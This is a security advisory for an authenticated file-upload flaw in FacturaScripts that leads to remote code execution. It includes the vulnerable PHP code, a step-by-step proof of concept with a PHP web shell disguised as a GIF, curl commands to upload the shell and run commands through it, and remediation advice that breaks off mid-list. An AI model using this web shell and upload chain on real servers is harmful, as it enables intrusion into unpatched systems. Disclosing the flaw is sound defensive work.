GitHub Security Advisory: GHSA-vf3q-frmr-vrr9
Package: facturascripts/facturascripts (COMPOSER)
Severity: MODERATE (CVSS 6.3)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-434: Unrestricted Upload of File with Dangerous Type
Vulnerable versions: <= 2025.81
Patched in: unpatched

Summary: FacturaScripts Vulnerable to Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images

Details:
# CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass
 
## Summary
 
An authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php.
 
---
 
## Details
 
The vulnerability exists in:
 
`Core/Lib/ExtendedController/ProductImagesTrait.php`
 
Specifically in the `addImageAction()` method.
 
### Vulnerable Code
 
```php
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
    Tools::log()->error('file-not-supported');
    continue;
}
 
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
```
 
### Root Cause
 
- The validation only checks if MIME type contains `"image/"`
- This can be bypassed by prepending **GIF89a magic bytes** to a PHP file
- The system incorrectly identifies the file as `image/gif`
- The file is saved with a `.php` extension in a web-accessible directory
 
### File Storage Behavior
 
Uploaded files are stored in:
 
```
/MyFiles/YYYY/MM/X.php
```
 
Where `X` is an auto-incrementing ID. This allows direct remote execution:
 
```
http://target/MyFiles/2026/03/2.php?cmd=id
```
 
---
 
## Impact
 
Successful exploitation:

An attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation.
---
 
## Proof of Concept (Manual)
 
### Step 1: Create malicious file
 
```bash
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF
```
 
### Step 2: Authenticate
 
- Login to the application
- Extract `PHPSESSID` from browser cookies
 
### Step 3: Get CSRF token
 
```bash
curl -s "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  | grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4
```
 
### Step 4: Upload shell
 
```bash
curl -X POST "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  -F "multireqtoken=YOUR_CSRF_TOKEN" \
  -F "action=add-image" \
  -F "activetab=EditProductoImagen" \
  -F "idproducto=3" \
  -F "newfiles[]=@shell.jpg.php"
```
 
### Step 5: Execute command
 
```bash
curl "http://target/MyFiles/2026/03/2.php?cmd=id"
```
 
---

 
## Affected Products
 
| Field | Value |
|---|---|
| Ecosystem | Packagist |
| CVE ID | CVE-2026-42879 |
| Package Name | `facturascripts/facturascripts` |
| Affected Versions | <= 2025.81 |
| Patched Versions | Not yet patched |
| Fixed in | Pending |
 
---
 
## Remediation Recommendations
 
1. **Validate file extension** — reject any upload where the filename ends in `.php`, `.phtml`, `.phar`, or other executable extensions, regardless of MIME type
2. **Re-generate filenames on the server** — never